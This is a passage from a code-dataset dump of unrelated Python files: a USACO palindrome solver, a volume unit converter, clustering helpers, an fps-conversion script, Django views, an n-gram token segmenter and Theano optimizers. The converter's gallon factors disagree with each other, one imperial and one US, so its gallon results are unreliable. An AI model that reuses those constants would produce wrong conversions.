yamlPath = os.path.join(curPath, 'data/yamldemo.yaml')\n print(req.readYaml(yamlPath))\n\n\n","repo_name":"Eif-Hui/FlaskServer","sub_path":"pyTest/public/debugEif.py","file_name":"debugEif.py","file_ext":"py","file_size_in_byte":5695,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"20401109586","text":"\"\"\"\nID: hsfncd31\nLANG: PYTHON3\nTASK: dualpal\n\"\"\"\nimport os\nimport collections\nimport typing\nimport string\nimport itertools\n\n\ndef digit_character(x: int) -> str:\n if not hasattr(digit_character, 'dict'):\n digit_character.dict = string.digits + string.ascii_uppercase\n return digit_character.dict[x]\n\n\ndef base_k_string(x: int, base: int) -> str:\n result = []\n # actually I want do-while...\n while True:\n result.append(digit_character(x % base))\n x //= base\n if x == 0:\n break\n return ''.join(reversed(result))\n\n\ndef is_palindrome(s: str) -> bool:\n for i in range(0, len(s) // 2):\n if s[i] != s[-(i + 1)]:\n return False\n return True\n\n\ndef main():\n base_filename = 'test' if os.name == 'nt' else 'dualpal'\n with open('{}.in'.format(base_filename), 'r') as infile,\\\n open('{}.out'.format(base_filename), 'w') as outfile: # type: typing.IO[str]\n def get_line() -> str:\n return infile.readline().rstrip('\\n')\n\n def out_print(*args, **kwargs) -> None:\n kwargs['file'] = outfile\n print(*args, **kwargs)\n\n n, s = map(int, get_line().split())\n\n for x in itertools.count(s + 1):\n count = 0\n for base in range(2, 10 + 1):\n if is_palindrome(base_k_string(x, base)):\n count += 1\n if count == 2:\n break\n if count == 2:\n out_print(x)\n n -= 1\n if n == 0:\n break\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Testla/USACO","sub_path":"Chapter 1/Section 1.3/dualpal.py","file_name":"dualpal.py","file_ext":"py","file_size_in_byte":1618,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"} +{"seq_id":"9406646498","text":"\"\"\"\r\nConversion of volume units.\r\nAvailable Units:- Cubic metre,Litre,KiloLitre,Gallon,Cubic yard,Cubic foot,cup\r\nUSAGE :\r\n-> Import this file into their respective project.\r\n-> Use the function length_conversion() for conversion of volume units.\r\n-> Parameters :\r\n -> value : The number of from units you want to convert\r\n -> from_type : From which type you want to convert\r\n -> to_type : To which type you want to convert\r\nREFERENCES :\r\n-> Wikipedia reference: https://en.wikipedia.org/wiki/Cubic_metre\r\n-> Wikipedia reference: https://en.wikipedia.org/wiki/Litre\r\n-> Wikipedia reference: https://en.wiktionary.org/wiki/kilolitre\r\n-> Wikipedia reference: https://en.wikipedia.org/wiki/Gallon\r\n-> Wikipedia reference: https://en.wikipedia.org/wiki/Cubic_yard\r\n-> Wikipedia reference: https://en.wikipedia.org/wiki/Cubic_foot\r\n-> Wikipedia reference: https://en.wikipedia.org/wiki/Cup_(unit)\r\n\"\"\"\r\n\r\nfrom typing import NamedTuple\r\n\r\n\r\nclass FromTo(NamedTuple):\r\n from_factor: float\r\n to_factor: float\r\n\r\n\r\nMETRIC_CONVERSION = {\r\n \"cubic meter\": FromTo(1, 1),\r\n \"litre\": FromTo(0.001, 1000),\r\n \"kilolitre\": FromTo(1, 1),\r\n \"gallon\": FromTo(0.00454, 264.172),\r\n \"cubic yard\": FromTo(0.76455, 1.30795),\r\n \"cubic foot\": FromTo(0.028, 35.3147),\r\n \"cup\": FromTo(0.000236588, 4226.75),\r\n}\r\n\r\n\r\ndef volume_conversion(value: float, from_type: str, to_type: str) -> float:\r\n \"\"\"\r\n Conversion between volume units.\r\n >>> volume_conversion(4, \"cubic meter\", \"litre\")\r\n 4000\r\n >>> volume_conversion(1, \"litre\", \"gallon\")\r\n 0.264172\r\n >>> volume_conversion(1, \"kilolitre\", \"cubic meter\")\r\n 1\r\n >>> volume_conversion(3, \"gallon\", \"cubic yard\")\r\n 0.017814279\r\n >>> volume_conversion(2, \"cubic yard\", \"litre\")\r\n 1529.1\r\n >>> volume_conversion(4, \"cubic foot\", \"cup\")\r\n 473.396\r\n >>> volume_conversion(1, \"cup\", \"kilolitre\")\r\n 0.000236588\r\n >>> volume_conversion(4, \"wrongUnit\", \"litre\")\r\n Traceback (most recent call last):\r\n ...\r\n ValueError: Invalid 'from_type' value: 'wrongUnit' Supported values are:\r\n cubic meter, litre, kilolitre, gallon, cubic yard, cubic foot, cup\r\n \"\"\"\r\n if from_type not in METRIC_CONVERSION:\r\n raise ValueError(\r\n f\"Invalid 'from_type' value: {from_type!r} Supported values are:\\n\"\r\n + \", \".join(METRIC_CONVERSION)\r\n )\r\n if to_type not in METRIC_CONVERSION:\r\n raise ValueError(\r\n f\"Invalid 'to_type' value: {to_type!r}. Supported values are:\\n\"\r\n + \", \".join(METRIC_CONVERSION)\r\n )\r\n return (\r\n value\r\n * METRIC_CONVERSION[from_type].from_factor\r\n * METRIC_CONVERSION[to_type].to_factor\r\n )\r\n\r\n\r\nif __name__ == \"__main__\":\r\n import doctest\r\n\r\n doctest.testmod()\r\n","repo_name":"TheAlgorithms/Python","sub_path":"conversions/volume_conversions.py","file_name":"volume_conversions.py","file_ext":"py","file_size_in_byte":2795,"program_lang":"python","lang":"en","doc_type":"code","stars":173185,"dataset":"github-code","pt":"60"} +{"seq_id":"12172248788","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri May 27 19:52:17 2022\r\n\r\n@author: atknc\r\n\"\"\"\r\n\r\n\r\nimport numpy as np\r\nfrom scipy.spatial import distance\r\nimport itertools\r\n\r\n\r\nclass calculation_operations: \r\n \r\n \"\"\"This class include some functions to do calculations for clustering operations.The dictionaries were used in this class for better \r\n understanding and documentation for info panel and console. Dictionaries are very useful with key indexing. For example to get pair of objectives, \r\n the cluster center nodes will be needed. With key indexing this is easier to reach elements with nodes.\r\n \"\"\"\r\n \r\n def find_clusters(self):\r\n \r\n \r\n \"\"\"This function used for find clusters for necessary clustering operation. self.labels came from sklearn.clustering library\r\n \"\"\"\r\n \r\n self.clusters = dict()\r\n \r\n \r\n for j in range (self.n_cluster):\r\n new_list = []\r\n for i in range (len(self.points)) :\r\n if self.labels[i] == j:\r\n new_list.append(i)\r\n self.clusters[j] = new_list\r\n \r\n \r\n print(\"there are \", self.n_cluster, \" clusters\")\r\n \r\n for i in range(self.n_cluster):\r\n print(\"cluster \", i,\" ----\", self.clusters[i])\r\n \r\n def find_center_points(self):\r\n \r\n \"\"\"This function is used for finding center points of clusters. np.mean was used\"\"\"\r\n \r\n \r\n self.center = dict()\r\n \r\n for i in range(self.n_cluster):\r\n denemelist = np.array(self.clusters[i])\r\n self.center[i] = np.mean(self.points[denemelist])\r\n \r\n def find_center_nodes(self):\r\n \r\n \"\"\"This function is used for finding center nodes of clusters. Firstly, found distance between cluster center point and all points\r\n belong to this cluster. After minimum value taken to find the center node of cluster. scipy library used to calculate distance between\r\n two points.\"\"\"\r\n \r\n self.distances_center = dict()\r\n self.center_nodes_final = []\r\n \r\n for i in range(self.n_cluster):\r\n new_list = []\r\n denemelist = np.array(self.clusters[i])\r\n for j in range(len(denemelist)):\r\n dst_centers = distance.euclidean(self.points[denemelist[j]], self.center[i])\r\n new_list.append(dst_centers)\r\n self.distances_center[i] = new_list\r\n \r\n ref_list = self.clusters[i]\r\n center_nodes = (self.distances_center[i].index(min(self.distances_center[i])))\r\n self.center_nodes_final.append(ref_list[center_nodes])\r\n \r\n print(\"cluster center nodes ---\" , self.center_nodes_final)\r\n \r\n def find_farhest(self):\r\n \r\n \"\"\"This function used for finding farhest point of cluster. To get the farhest point, distances between cluster center nodes and\r\n nodes which are belong to this cluster. After maximum value taken to get farhest point of cluster. scipy library also used to\r\n calculate euclidiean distance between points.\"\"\"\r\n \r\n self.distances = dict()\r\n self.farhest = dict()\r\n \r\n for i in range(self.n_cluster):\r\n new_list = []\r\n denemelist = np.array(self.clusters[i])\r\n for j in range(len(denemelist)):\r\n dst = distance.euclidean(self.points[denemelist[j]], self.points[self.center_nodes_final[i]])\r\n if dst != 0 or len(denemelist) == 1:\r\n new_list.append(dst)\r\n self.distances[i] = new_list\r\n \r\n for i in range(self.n_cluster):\r\n self.farhest[self.center_nodes_final[i]] = max(self.distances[i])\r\n \r\n for i in range(self.n_cluster):\r\n print(\"farhest hub distances : \" , self.center_nodes_final[i] , \"----\", self.farhest[self.center_nodes_final[i]])\r\n \r\n def find_pairs(self):\r\n \r\n \"\"\"This function is used for all possible pairs for clustering operation. After founding the cluster center nodes, doing combination\r\n operation for these points. For this operation itertools library was used.\"\"\"\r\n \r\n self.l = list(itertools.combinations(self.center_nodes_final, 2))\r\n self.possible_pairs = set(self.l)\r\n print(self.possible_pairs)\r\n \r\n def obj_func(self):\r\n \r\n \"\"\"This function is used for calculating pair objectives. To do this calculation the formula that given were used and to find objective function,\r\n the maximum value were taken from pair objectives.\"\"\"\r\n \r\n self.obj_list = []\r\n \r\n for i in range(len(self.l)):\r\n obj = self.farhest[self.l[i][0]]+self.farhest[self.l[i][1]]+0.75*distance.euclidean(self.points[self.l[i][0]],self.points[self.l[i][1]])\r\n self.obj_list.append(obj)\r\n \r\n x = max(self.farhest.values())\r\n \r\n self.obj_list.append(x)\r\n \r\n print(\"pair objectives : \")\r\n print(self.obj_list)\r\n print(\"objective function : \" , max(self.obj_list))","repo_name":"atkncvkkl/Clustering-Interface","sub_path":"operationclass.py","file_name":"operationclass.py","file_ext":"py","file_size_in_byte":5266,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"24857003130","text":"\r\ndecimal_number = int(input(\"Введите натуральное число в десятичной системе: \"))\r\nif decimal_number < 1:\r\n print(\"Неверный ввод: Введите натуральное число больше 0\")\r\nelse:\r\n binary_representation = bin(decimal_number).replace(\"0b\", \"\")\r\n octal_representation = oct(decimal_number).replace(\"0o\", \"\")\r\n hexadecimal_representation = hex(decimal_number).replace(\"0x\", \"\")\r\n print(f\"Двоичное представление: {binary_representation}\")\r\n print(f\"Восьмеричное представление: {octal_representation}\")\r\n print(f\"Шестнадцатеричное представление: {hexadecimal_representation}\")\r\n\r\n\r\n\r\n","repo_name":"n3wstar/python-skillbox","sub_path":"mod2/task4.py","file_name":"task4.py","file_ext":"py","file_size_in_byte":757,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"29988866764","text":"import os\nimport re\nimport sys\nfrom subprocess import Popen, PIPE\nfrom decimal import Decimal, ROUND_FLOOR, ROUND_UP\nfrom fractions import Fraction\n\n\ndef find_fps(filename):\n\n if os.path.exists(filename):\n\n with open(filename, 'r') as datafile:\n\n try:\n fps_in_log_file = None\n\n for fline in datafile:\n\n if \" fps,\" in fline:\n try:\n for s in fline.split(\", \"):\n if \"fps\" in s:\n fps_in_log_file = s.replace(' fps', '')\n except AttributeError:\n print(\"Error getting fps from \", filename)\n break\n except:\n print(\"Problem with opening \", filename)\n else:\n return None\n\n return fps_in_log_file\n\n\ndef setfps(arg1, arg2, arg3, arg4, arg5):\n fps_str = find_fps(arg1)\n if fps_str == None:\n return 0\n fps = Decimal(fps_str)\n if fps >= Decimal(\"55\"):\n print(\"*******Видео уже в 60 fps!*******\\n\",\n f\"...Ну почти (в {fps} fps)\\n\" if fps < Decimal(\"60\") else \"\", sep=\"\")\n return 0\n\n mult = Decimal(\"60\") / fps.quantize(Decimal(\"1\"), ROUND_UP)\n multq = mult.quantize(Decimal(\"1.0\"), ROUND_UP)\n frac = Fraction(multq)\n num = frac.numerator\n den = frac.denominator\n# print(f\"[DEBUG] num={num} den={den} multq={multq}\")\n\n with open(arg2, encoding='utf-8') as fd1, open(arg3, 'w', encoding='utf-8') as fd2:\n for line in fd1:\n line = line.replace(\"vnm\", str(num))\n line = line.replace(\"vdn\", str(den))\n fd2.write(line)\n try:\n os.rename(arg3, arg2)\n except WindowsError:\n os.remove(arg2)\n os.rename(arg3, arg2)\n\n varg = '''--Inform=Video;%%FrameCount%%'''\n process = Popen([arg4, varg, arg5], stdout=PIPE)\n (output, err) = process.communicate()\n exit_code = process.wait()\n nframes = re.sub('[^0-9]', '', str(output))\n# print(\"Частота кадров в исходном видео: \", fps, \"fps\")\n# print(\"Частота кадров в выходном видео: \", fps*num/den, \"fps\")\n# print(\"Количество кадров в исходном видео: \", nframes)\n# print(\"Количество кадров в выходном видео (примерно): \",\n# int(int(nframes)*num/den))\n return int(int(nframes)*num/den)\n\n\nif __name__ == \"__main__\":\n result = setfps(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4], sys.argv[5])\n exit(0 if result else 1)\n","repo_name":"andreiyv/fpska","sub_path":"scripts/setfps.py","file_name":"setfps.py","file_ext":"py","file_size_in_byte":2650,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"60"} +{"seq_id":"5636113754","text":"def read_file(day):\n with open(f\"data/day-{day}.txt\", 'rt') as fin:\n data = [int(i) for i in fin.read().splitlines()]\n return data\n\ndef process_data_1(data):\n last = data[0]\n counter = 0\n for i in data:\n if i > last: counter += 1\n last = i\n return counter\n\ndef process_data_2(data):\n last = sum(data[:3])\n counter = 0\n for i in range(1, len(data)-2):\n new = sum(data[i:i+3])\n if new > last: counter += 1\n last = new\n return counter\n\n\nif __name__ == \"__main__\":\n day = \"01\"\n data = read_file(day)\n print(data)\n result_1 = process_data_1(data)\n print(f\"result 1: {result_1}\")\n result_2 = process_data_2(data)\n print(f\"result 2: {result_2}\")","repo_name":"DavidRialFigols/adventOfCode2021","sub_path":"day-01.py","file_name":"day-01.py","file_ext":"py","file_size_in_byte":731,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"} +{"seq_id":"2743274394","text":"import logging\n\nfrom django.views import View\nfrom django.shortcuts import render\nfrom django.core.paginator import Paginator\n\nfrom reviews.services import get_product_reviews\nfrom .services import (\n GetProductsService, get_product_rating, ProductsSearchService\n)\n\n\nlogger = logging.getLogger('testshop')\n\n\nclass HomePageView(View):\n\n def get(self, request):\n logger.debug(f\"Requested GET {request.path} by {request.user}\")\n service = GetProductsService()\n last_products = service.get_last()\n return render(request, 'products/home.html', {\n 'products': last_products\n })\n\n\nclass ConcreteProductView(View):\n\n def get(self, request, pk):\n logger.debug(f\"Requested GET {request.path} by {request.user}\")\n service = GetProductsService()\n product = service.get_concrete(pk)\n similar_products = service.get_similar(product)\n product_reviews = get_product_reviews(product)\n page_obj = self._paginate_reviews(product_reviews)\n product_rating = get_product_rating(product)\n return render(request, 'products/concrete_product.html', {\n 'product': product, 'similar_products': similar_products,\n 'page_obj': page_obj, 'rating': product_rating\n })\n\n def _paginate_reviews(self, reviews):\n paginator = Paginator(reviews, 5)\n page_number = self.request.GET.get('page', '')\n if not page_number.isdigit() or page_number == '0':\n page_number = 1\n if int(page_number) > paginator.num_pages:\n page_number = paginator.num_pages\n\n return paginator.get_page(int(page_number))\n\n\nclass ShopView(View):\n\n def get(self, request):\n logger.debug(f\"Requested GET {request.path} by {request.user}\")\n service = ProductsSearchService()\n products = service.search(**request.GET)\n page_obj = self._paginate_products(products)\n return render(request, 'products/shop.html', {'page_obj': page_obj})\n\n def _paginate_products(self, products):\n paginator = Paginator(products, 3*4)\n page_number = self.request.GET.get('page', '')\n if not page_number.isdigit() or page_number == '0':\n page_number = 1\n if int(page_number) > paginator.num_pages:\n page_number = paginator.num_pages\n\n return paginator.get_page(int(page_number))\n","repo_name":"artemowkin/TestShop","sub_path":"products/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"38559930288","text":"# This file is part of Boatswain.\n#\n# Boatswain is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# Boatswain is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with Boatswain. If not, see .\n#\n#\n\nfrom typing import Dict, List\n\nchannels: Dict[str, List] = {}\n\n\ndef listen(channel: str, func):\n if channel in channels:\n channels[channel].append(func)\n else:\n channels[channel] = [func]\n\n\ndef deregister(channel: str, func):\n if channel in channels:\n try:\n channels[channel].remove(func)\n except ValueError:\n pass\n\n\ndef fire(channel: str, data=None):\n if channel in channels:\n for func in channels[channel]:\n if data is None:\n func()\n else:\n func(data)\n","repo_name":"theboatswain/boatswain","sub_path":"boatswain/common/services/data_transporter_service.py","file_name":"data_transporter_service.py","file_ext":"py","file_size_in_byte":1326,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"60"} +{"seq_id":"71236908670","text":"import sys\nsys.stdin = open(\"사냥꾼.txt\")\n\ndef find(r, c):\n global cnt, kill\n dr = [1, -1, 0, 0, 1, 1, -1, -1]\n dc = [0, 0, 1, -1, 1, -1, 1, -1]\n x , y = r, c\n i = 0\n while i < 8:\n r = r + dr[i]\n c = c + dc[i]\n if arr[r][c] == '2' and kill[r][c] == 0:\n kill[r][c] = 1\n cnt += 1\n if arr[r][c] == '1' or arr[r][c] == '0':\n i += 1\n r, c = x, y\n\n\n\n\n\nN = int(input())\narr = [['0' for _ in range(N+2)] for _ in range(N+2)]\ncnt = 0\nfor i in range(1, N+1):\n arr[i] = ['0'] + list((input())) + ['0']\n\nkill = [[0 for _ in range(N+2)] for _ in range(N+2)]\n\nfor i in range(1,N):\n for j in range(1,N):\n if arr[i][j] == '1':\n find(i,j)\nprint(cnt)\n","repo_name":"hoyoung2176/TIL","sub_path":"Algorithm/test/IM/D03/사냥꾼.py","file_name":"사냥꾼.py","file_ext":"py","file_size_in_byte":750,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"43946980866","text":"\"\"\"\nTo standardize the tokens based on google n-gram frequencies. \nThe case study is to segment words that are glued together. \nThe basic idea can be explained with an example. \n\nSuppose there is a token \"senatoradmits\", we want to segment it as \"senator\" and \"admits\" if \n`count(\"senator\") + count(\"admits\") > count (\"senatoradmits\")`. \n\nFurthermore, if we have some context like \"x senatoradmits y\", then we want to segment to \"senator\" and admits if \n`count (\"x senator\") + count (\"senator admits\") + count(\"admits y\") > count(\"x senatoradmits\") + count (\"senatoradmits y\") `.\n\nAll the counts are calculated using goolge n-grams and are restricted according to years.\n\"\"\"\n\n\nimport plac\nimport ujson\nfrom collections import defaultdict\nimport pandas as pd\nimport logging\nfrom sklearn.feature_extraction.text import CountVectorizer\nimport numpy as np\n\nlogging.basicConfig(format='%(asctime)s : %(levelname)s : %(message)s', level=logging.INFO)\n\nclass TokensFileReader (object):\n\tdef __init__ (self, filename):\n\t\tself.filename = filename\n\n\tdef read (self, nlines=10):\n\t\twith open (self.filename) as fin:\n\t\t\tfor i, line in enumerate (fin):\n\t\t\t\tjs = ujson.loads (line)\n\t\t\t\tyield js\n\t\ndef writeSubs (subs, subsfile):\n\twith open (subsfile, \"w\") as fout:\n\t\tfor w in subs:\n\t\t\tfout.write (\"==>\".join ([w, subs[w]]) + \"\\n\")\n\ndef writeStandardFile (tokensfile, subs, standardizedfile):\n\twith open (tokensfile) as fin, open (standardizedfile, \"w\") as fout:\n\t\tfor line in fin:\n\t\t\tjs = ujson.loads (line)\n\t\t\tstandard_tokens = list ()\n\t\t\tfor token in js[\"tokens\"]:\n\t\t\t\tif token in subs:\n\t\t\t\t\tstandard_tokens.extend (subs[token].split(\" \"))\n\t\t\t\telse:\n\t\t\t\t\tstandard_tokens.append (token)\n\n\t\t\tjs[\"clean_tokens\"] = standard_tokens\n\t\t\tfout.write(ujson.dumps (js) + \"\\n\")\n\n\ndef segment (word):\n\tcands = set ()\n\tfor i,char in enumerate (word):\n\t\tpart1, part2 = word[:i], word[i:]\n\t\tif part1 != \"\" and part2 != \"\":\n\t\t\tcands.add ((part1, part2))\n\n\treturn cands\n\ndef getSubsByUnigramBigramComparison (grams1, grams2, tokensfile):\n\t\"\"\"\n\tTODO: consider using lower case counts if sparsity is causing weird segmentations\n\t\"\"\"\n\tsubs = dict ()\n\treader = TokensFileReader (tokensfile)\n\tfor js in reader.read():\n\t\ttokens = js[\"tokens\"]\n\t\tfor token in tokens:\n\t\t\tif token in subs:\n\t\t\t\tcontinue\n\t\t\tcount_token = grams1[(token,)]\n\t\t\tcands = segment (token)\t\n\t\t\t\t\n\t\t\tstandardized = token\n\t\t\tcount_segments = [(cand1, cand2, grams2[(cand1, cand2)]) for cand1, cand2 in cands if grams2[(cand1, cand2)] > count_token]\n\t\t\tif len (count_segments) > 0:\n\t\t\t\tbest_cand1, best_cand2, _ = max (count_segments, key=lambda x:x[2])\n\t\t\t\tstandardized = \" \".join ([best_cand1, best_cand2])\n\n\t\t\tsubs[token] = standardized\n\n\treturn subs\t\n\ndef find_ngrams(input_list, n):\n\treturn zip(*[input_list[i:] for i in range(n)])\t\n\ndef getSubsByBigramTrigramComparison (grams2, grams3, tokensfile, subsfile, standardizedfile):\n\treader = TokensFileReader (tokensfile)\n\twith open (standardizedfile, \"w\") as fout, open (subsfile, \"w\") as subsout:\n\t\tfor js in reader.read():\n\t\t\ttokens = js[\"tokens\"]\n\t\t\tclean_tokens = list ()\n\t\t\tif len (tokens) > 0: clean_tokens.append (tokens[0]) # add the first token\n\t\t\tfor lc, token, rc in find_ngrams (tokens, 3):\n\t\t\t\tstandardized = token\n\t\t\t\tif token.isalpha(): # don't try if not alphabetic\n\t\t\t\t\tlhs = grams2[(lc, token)] + grams2[(token, rc)]\n\t\t\t\t\tcands = segment (token)\n\t\n\t\t\t\t\tcount_segments = [(cand1, cand2, grams3[(lc, cand1,cand2)] + grams3[(cand1,cand2,rc)]) \n\t\t\t\t\t\t\t\t\t for cand1,cand2 in cands\n\t\t\t\t\t\t\t\t\t if grams3[(lc, cand1, cand2)] + grams3[(cand1, cand2, rc)] > lhs]\n\n\t\t\t\t\tif len (count_segments) > 0:\n\t\t\t\t\t\tbest_cand1, best_cand2, best_val = max (count_segments, key=lambda x:x[2])\n\t\t\t\t\t\tstandardized = \" \".join ([best_cand1, best_cand2])\n\n\t\t\t\t\tsubsout.write (\"{} ==> {}\\n\".format (token, standardized))\n\n\t\t\t\tclean_tokens.append (standardized)\n\t\t\tif len (rc) > 0: clean_tokens.append (rc) # add the last token\n\t\t\n\t\t\tjs[\"clean_tokens\"] = clean_tokens\n\t\t\tfout.write (ujson.dumps (js) + \"\\n\")\n\ndef readNgramsAsDict (filename):\n\tgrams = defaultdict (int)\n\twith open (filename) as fin:\n\t\tfor line in fin:\n\t\t\tparts = line.strip().split (\"\\t\")\n\t\t\tgrams[tuple(parts[0].split())] = int(parts[1])\n\treturn grams\n\n@plac.annotations (\n\ttokensfile = (\"the tokens file\", \"positional\"),\n\tunigramsfile=(\"the file containing the unigram counts\", \"positional\"),\n\tbigramsfile=(\"the file containing the bigram counts\", \"positional\"),\n\ttrigramsfile=(\"the file containing the trigram counts\", \"positional\"),\n\tsubsfile=(\"the file containing the substitutions\"),\n\tstandardizedfile = (\"the normalized file\", \"positional\")\n)\ndef main (tokensfile, unigramsfile, bigramsfile, trigramsfile, subsfile, standardizedfile):\n\t#grams1 = readNgramsAsDict (unigramsfile)\n\t#logging.info (\"Unigrams reading ... complete\")\n\tgrams2 = readNgramsAsDict (bigramsfile)\n\tlogging.info (\"Bigrams reading ... complete\")\n\tgrams3 = readNgramsAsDict (trigramsfile)\n\tlogging.info (\"Trigrams reading ... complete\")\n\n\t# Substitutions file using unigram, bigram comparison, using bigram-trigram comparison.\n\n\t#subs1 = getSubsByUnigramBigramComparison(grams1, grams2, tokensfile)\n\tgetSubsByBigramTrigramComparison(grams2, grams3, tokensfile, subsfile, standardizedfile)\n\nif __name__ == \"__main__\":\n\tplac.call (main)\n","repo_name":"sandeepsoni/semantic-progressiveness","sub_path":"scripts/accessible/standardizeTokensUsingNGrams.py","file_name":"standardizeTokensUsingNGrams.py","file_ext":"py","file_size_in_byte":5248,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"} +{"seq_id":"36364110117","text":"# 14 / 09 / 2023\n# Day - 11\n# Function\n\n\n# pemanggilan function harus setelah dibuat\ndef hitung_kubus():\n a = 5\n b = 9\n hasil = (a * a * a * a) + (b * b * b * b)\n return hasil\n\n\nprint(f\"Jumlah ukuran kubus : {hitung_kubus()}\")\n","repo_name":"aviz99/1-data-analyst-data-scientist-data-engineer","sub_path":"2-python/1-pemrograman-algoritma-dasar-struktur-data-oop/44-function/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":239,"program_lang":"python","lang":"id","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"9318484437","text":"import numpy as np\nimport theano\nimport theano.tensor as T\nfrom collections import OrderedDict\n\nfloatX = theano.config.floatX\ndevice = theano.config.device\n\n\nclass LearningMethod:\n\n def __init__(self, clip=None):\n \"\"\"\n Initialization\n \"\"\"\n self.clip = clip\n\n def get_gradients(self, cost, params):\n \"\"\"\n Compute gradients.\n \"\"\"\n if self.clip is None:\n return T.grad(cost, params)\n else:\n assert self.clip > 0\n return T.grad(\n theano.gradient.grad_clip(cost, -1 * self.clip, self.clip),\n params\n )\n\n def get_updates(self, method, cost, params, *args, **kwargs):\n \"\"\"\n Compute updates.\n \"\"\"\n if method == 'sgd':\n updates = self.sgd(cost, params, **kwargs)\n elif method == 'sgdmomentum':\n updates = self.sgdmomentum(cost, params, **kwargs)\n elif method == 'adagrad':\n updates = self.adagrad(cost, params, **kwargs)\n elif method == 'adadelta':\n updates = self.adadelta(cost, params, **kwargs)\n elif method == 'adam':\n updates = self.adam(cost, params, **kwargs)\n elif method == 'rmsprop':\n updates = self.rmsprop(cost, params, **kwargs)\n elif method == 'dm_rmsprop':\n updates = self.dm_rmsprop(cost, params, **kwargs)\n else:\n raise(\"Not implemented learning method: %s\" % method)\n return updates\n\n def sgd(self, cost, params, lr=0.01):\n \"\"\"\n Stochatic gradient descent.\n \"\"\"\n lr = theano.shared(np.float32(lr).astype(floatX))\n\n gradients = self.get_gradients(cost, params)\n\n updates = []\n for p, g in zip(params, gradients):\n updates.append((p, p - lr * g))\n\n return updates\n\n def sgdmomentum(self, cost, params, lr=0.01, momentum=0.9):\n \"\"\"\n Stochatic gradient descent with momentum. Momentum has to be in [0, 1)\n \"\"\"\n # Check that the momentum is a correct value\n assert 0 <= momentum < 1\n\n lr = theano.shared(np.float32(lr).astype(floatX))\n momentum = theano.shared(np.float32(momentum).astype(floatX))\n\n gradients = self.get_gradients(cost, params)\n velocities = [theano.shared(np.zeros_like(param.get_value(borrow=True)).astype(floatX)) for param in params]\n\n updates = []\n for param, gradient, velocity in zip(params, gradients, velocities):\n new_velocity = momentum * velocity - lr * gradient\n updates.append((velocity, new_velocity))\n updates.append((param, param + new_velocity))\n return updates\n\n def adagrad(self, cost, params, lr=1.0, epsilon=1e-6):\n \"\"\"\n Adagrad. Based on http://www.ark.cs.cmu.edu/cdyer/adagrad.pdf\n \"\"\"\n lr = theano.shared(np.float32(lr).astype(floatX))\n epsilon = theano.shared(np.float32(epsilon).astype(floatX))\n\n gradients = self.get_gradients(cost, params)\n gsums = [theano.shared(np.zeros_like(param.get_value(borrow=True)).astype(floatX)) for param in params]\n\n updates = []\n for param, gradient, gsum in zip(params, gradients, gsums):\n new_gsum = gsum + gradient ** 2.\n updates.append((gsum, new_gsum))\n updates.append((param, param - lr * gradient / (T.sqrt(gsum + epsilon))))\n return updates\n\n def adadelta(self, cost, params, rho=0.95, epsilon=1e-6):\n \"\"\"\n Adadelta. Based on:\n http://www.matthewzeiler.com/pubs/googleTR2012/googleTR2012.pdf\n \"\"\"\n rho = theano.shared(np.float32(rho).astype(floatX))\n epsilon = theano.shared(np.float32(epsilon).astype(floatX))\n\n gradients = self.get_gradients(cost, params)\n accu_gradients = [\n theano.shared(\n np.zeros_like(param.get_value(borrow=True)).astype(floatX)\n )\n for param in params\n ]\n accu_deltas = [\n theano.shared(\n np.zeros_like(param.get_value(borrow=True)).astype(floatX)\n )\n for param in params\n ]\n\n updates = []\n for param, gradient, accu_gradient, accu_delta in zip(params, gradients, accu_gradients, accu_deltas):\n new_accu_gradient = rho * accu_gradient + (1. - rho) * gradient ** 2.\n delta_x = - T.sqrt((accu_delta + epsilon) / (new_accu_gradient + epsilon)) * gradient\n new_accu_delta = rho * accu_delta + (1. - rho) * delta_x ** 2.\n updates.append((accu_gradient, new_accu_gradient))\n updates.append((accu_delta, new_accu_delta))\n updates.append((param, param + delta_x))\n return updates\n\n def adam(self, cost, params, lr=0.001, beta1=0.9, beta2=0.999, epsilon=1e-8):\n \"\"\"\n Adam. Based on http://arxiv.org/pdf/1412.6980v4.pdf\n \"\"\"\n updates = []\n gradients = self.get_gradients(cost, params)\n\n t = theano.shared(np.float32(1.).astype(floatX))\n\n for param, gradient in zip(params, gradients):\n value = param.get_value(borrow=True)\n m_prev = theano.shared(np.zeros(value.shape, dtype=value.dtype),\n broadcastable=param.broadcastable)\n v_prev = theano.shared(np.zeros(value.shape, dtype=value.dtype),\n broadcastable=param.broadcastable)\n\n m = beta1 * m_prev + (1. - beta1) * gradient\n v = beta2 * v_prev + (1. - beta2) * gradient ** 2.\n m_hat = m / (1. - beta1 ** t)\n v_hat = v / (1. - beta2 ** t)\n theta = param - (lr * m_hat) / (T.sqrt(v_hat) + epsilon)\n\n updates.append((m_prev, m))\n updates.append((v_prev, v))\n updates.append((param, theta))\n\n updates.append((t, t + 1.))\n return updates\n\n def rmsprop(self, cost, params, lr=0.0002, rho=0.99, 